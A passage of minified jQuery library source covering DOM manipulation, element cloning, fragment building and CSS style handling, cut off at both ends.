t=this.nextSibling,n=this.parentNode;n&&(b(this).remove(),n.insertBefore(e,t))})},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=f.apply([],e);var i,o,a,s,u,l,c=0,p=this.length,d=this,h=p-1,g=e[0],m=b.isFunction(g);if(m||!(1>=p||"string"!=typeof g||b.support.checkClone)&&Ct.test(g))return this.each(function(i){var o=d.eq(i);m&&(e[0]=g.call(this,i,n?o.html():t)),o.domManip(e,n,r)});if(p&&(l=b.buildFragment(e,this[0].ownerDocument,!1,this),i=l.firstChild,1===l.childNodes.length&&(l=i),i)){for(n=n&&b.nodeName(i,"tr"),s=b.map(Ot(l,"script"),Ht),a=s.length;p>c;c++)o=l,c!==h&&(o=b.clone(o,!0,!0),a&&b.merge(s,Ot(o,"script"))),r.call(n&&b.nodeName(this[c],"table")?Lt(this[c],"tbody"):this[c],o,c);if(a)for(u=s[s.length-1].ownerDocument,b.map(s,qt),c=0;a>c;c++)o=s[c],kt.test(o.type||"")&&!b._data(o,"globalEval")&&b.contains(u,o)&&(o.src?b.ajax({url:o.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):b.globalEval((o.text||o.textContent||o.innerHTML||"").replace(St,"")));l=i=null}return this}});function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function Ht(e){var t=e.getAttributeNode("type");return e.type=(t&&t.specified)+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function Mt(e,t){var n,r=0;for(;null!=(n=e[r]);r++)b._data(n,"globalEval",!t||b._data(t[r],"globalEval"))}function _t(e,t){if(1===t.nodeType&&b.hasData(e)){var n,r,i,o=b._data(e),a=b._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)b.event.add(t,n,s[n][r])}a.data&&(a.data=b.extend({},a.data))}}function Ft(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!b.support.noCloneEvent&&t[b.expando]){i=b._data(t);for(r in i.events)b.removeEvent(t,r,i.handle);t.removeAttribute(b.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),b.support.html5Clone&&e.innerHTML&&!b.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Nt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}b.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){b.fn[e]=function(e){var n,r=0,i=[],o=b(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),b(o[r])[t](n),d.apply(i,n.get());return this.pushStack(i)}});function Ot(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||b.nodeName(o,n)?s.push(o):b.merge(s,Ot(o,n));return n===t||n&&b.nodeName(e,n)?b.merge([e],s):s}function Bt(e){Nt.test(e.type)&&(e.defaultChecked=e.checked)}b.extend({clone:function(e,t,n){var r,i,o,a,s,u=b.contains(e.ownerDocument,e);if(b.support.html5Clone||b.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(b.support.noCloneEvent&&b.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||b.isXMLDoc(e)))for(r=Ot(o),s=Ot(e),a=0;null!=(i=s[a]);++a)r[a]&&Ft(i,r[a]);if(t)if(n)for(s=s||Ot(e),r=r||Ot(o),a=0;null!=(i=s[a]);a++)_t(i,r[a]);else _t(e,o);return r=Ot(o,"script"),r.length>0&&Mt(r,!u&&Ot(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,u,l,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("object"===b.type(o))b.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),u=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[u]||At._default,s.innerHTML=c[1]+o.replace(vt,"<$1>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!b.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!b.support.tbody){o="table"!==u||xt.test(o)?""!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)b.nodeName(l=o.childNodes[i],"tbody")&&!l.childNodes.length&&o.removeChild(l) +}b.merge(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push(t.createTextNode(o));s&&f.removeChild(s),b.support.appendChecked||b.grep(Ot(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===b.inArray(o,r))&&(a=b.contains(o.ownerDocument,o),s=Ot(f.appendChild(o),"script"),a&&Mt(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,u=b.expando,l=b.cache,p=b.support.deleteExpando,f=b.event.special;for(;null!=(n=e[s]);s++)if((t||b.acceptData(n))&&(o=n[u],a=o&&l[o])){if(a.events)for(r in a.events)f[r]?b.event.remove(n,r):b.removeEvent(n,r,a.handle);l[o]&&(delete l[o],p?delete n[u]:typeof n.removeAttribute!==i?n.removeAttribute(u):n[u]=null,c.push(o))}}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+x+")(.*)$","i"),Yt=RegExp("^("+x+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+x+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===b.css(e,"display")||!b.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=b._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=b._data(r,"olddisplay",un(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&b._data(r,"olddisplay",i?n:b.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}b.fn.extend({css:function(e,n){return b.access(this,function(e,n,r){var i,o,a={},s=0;if(b.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=b.css(e,n[s],!1,o);return a}return r!==t?b.style(e,n,r):b.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){var t="boolean"==typeof e;return this.each(function(){(t?e:nn(this))?b(this).show():b(this).hide()})}}),b.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":b.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,u=b.camelCase(n),l=e.style;if(n=b.cssProps[u]||(b.cssProps[u]=tn(l,u)),s=b.cssHooks[n]||b.cssHooks[u],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:l[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(b.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||b.cssNumber[u]||(r+="px"),b.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(l[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{l[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,u=b.camelCase(n);return n=b.cssProps[u]||(b.cssProps[u]=tn(e.style,u)),s=b.cssHooks[n]||b.cssHooks[u],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||b.isNumeric(o)?o||0:a):a},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s.getPropertyValue(n)||s[n]:t,l=e.style;return s&&(""!==u||b.contains(e.ownerDocument,e)||(u=b.style(e,n)),Yt.test(u)&&Ut.test(n)&&(i=l.width,o=l.minWidth,a=l.maxWidth,l.minWidth=l.maxWidth=l.width=u,u=s.width,l.width=i,l.minWidth=o,l.maxWidth=a)),u}):o.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s[n]:t,l=e.style;return null==u&&l&&l[n]&&(u=l[n]),Yt.test(u)&&!zt.test(n)&&(i=l.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),l.left="fontSize"===n?"1em":u,u=l.pixelLeft+"px",l.left=i,a&&(o.left=a)),""===u?"auto":u});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&(a+=b.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=b.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=b.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=b.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=b.css(e,"border"+Zt[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=b.support.boxSizing&&"border-box"===b.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(b.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function un(e){var t=o,n=Gt[e];return n||(n=ln(e,t),"none"!==n&&n||(Pt=(Pt||b("